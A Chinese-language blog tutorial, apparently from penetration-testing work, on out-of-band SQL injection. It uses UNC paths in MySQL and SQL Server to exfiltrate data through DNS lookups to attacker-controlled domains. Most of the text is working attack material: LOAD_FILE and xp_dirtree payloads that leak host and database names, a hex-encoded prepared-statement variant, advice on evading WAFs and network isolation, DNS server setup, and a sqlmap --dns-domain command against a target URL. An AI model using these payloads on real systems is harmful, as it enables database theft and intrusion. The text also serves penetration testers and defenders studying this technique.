0x00 起因
實際案子的時候遇到了一個注入,過狗可以使用sqlmap
,但是是基於時間的注入和限制頻率需要使用--delay
參數,本來就是延時再加上--delay
等的心力憔悴。所有有了下面介紹使用sqlmap
利用DNS
進行oob(out of band)
注入,快速出數據。一般情況下僅適用於windows
平台
0x01 場景
你有沒有遇到這樣類似的注入場景。
1、時間盲注,數據庫、表及字段內容特別多,等到花兒也謝了。
2、mysql5.6+
只能使用mysqli
或pdo
連接方式,多推薦使用pdo連接。使用pdo
連接方式,可以執行多語句,但是PDO
只會返回第一條SQL語句的執行結果,所以一般不能直接拿到數據,被迫通過update
某個可見字段或者sleep
注入
3、遇到waf
攔截,含有特定內容的返回包接受不到,明明測試沒有攔截過濾,感覺執行成功了,卻沒有接收到返回數據(能執行命令的時候也可以向web
目錄寫文件)
0x02 原理
使用unc
路徑,會對指定的域名進行dns
查詢,使用dns
信道,配合dns
服務器收到的數據可快速得到數據內容。
使用dns
有一定的好處,可以突破主機網絡隔離,例如dmz主機不能直接連外網,但是配置的網絡可達的dns服務器
往往可以,通過查詢域名遞歸的方式,dns服務器
可以將返回數據通過dns協議帶出去。unc
路徑是windows
下的特性,默認安裝的linux下不存在這樣的功能。
流程圖如下:
mysql
使用pdo鏈接數據庫盲注判斷是否成功的測試語句(普通的注入也可以參考)
SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc')); select hex("SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));") set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a;
mysql的使用場景:
之前抓到國內dns遞歸的上層dns服務器有360、tencent、ali的,如果我有一個這樣的節點dns服務器,肯定可以收獲很多羞羞的網站,想想還有點小激動呢≥▽≤sqlserver
可以使用以下方式
declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')
sqlserver的使用場景:
0x03 手工測試遇到的問題及解決方案
- 因為存在
dns緩存
,請求過一次域名后,會在本機產生dns記錄,不會向外遞歸查詢,所以unc路徑
中DNS域名不能相同 unc路徑
長度不能過長,通過sqlserver
報錯顯示以 '\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 開頭的 標識符 太長。最大長度為 128。
可知unc路徑
最大長度為128unc路徑
中不能含有空格等特殊字符,包含的話不會發送dns請求
以sqlserver
的注入為例,參考sqlmap
給出的方案解決
'; DECLARE @host varchar(1024); SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc'; EXEC('master..xp_dirtree "\\'+@host+'\cCkc"')--
- 通過在域名中添加隨機字符串
'rMy'
,'Nrz'
確保每次查詢dns不存在緩存 - 通過使用
substring()
函數每次傳輸特定位數的數據 - 通過使用
master.dbo.fn_varbintohexstr()
存儲過程對獲得數據進行16禁止編碼
0x04 使用sqlmap的dns-domain參數進行oob注入
這么方便快捷的注入方式怎么會沒有自動化的工具,仔細看過sqlmap
文檔的同學肯定知道--dns-domain
的參數,這就是sqlmap
集成的利用dns
進行oob注入
的方法
使用方法:sqlmap
使用--dns-domain
參數時候會監聽53端口,我們需要把我們獲得數據所使用的域名的dns服務器
配置到我們運行sqlmap的主機,就可以獲得dns外帶的數據。
因為配置dns服務器的時候也需要dns,所以我們需要兩個域名,詳細配置如下:
配置我們的用於解析dns的nameserver的域名ns1.xxx.com
,ns2.xxx.com
指向我們運行sqlmap的主機ip,這里我使用*通配符配置A記錄
配置我們用於外帶數據的域名rainism.cc的域名服務器為ns1.xxx.com
和ns2.xxx.com
我們在外網的vps上執行如下命令sqlmap.py -u 'http://xxoo.com/index.php?id=1*' --random-agent --dns-domain='rainism.cc' -v 3
可以看到sqlmap執行的語句和返回的數據
使用tcpdump監聽53端口,可以看到回傳的數據內容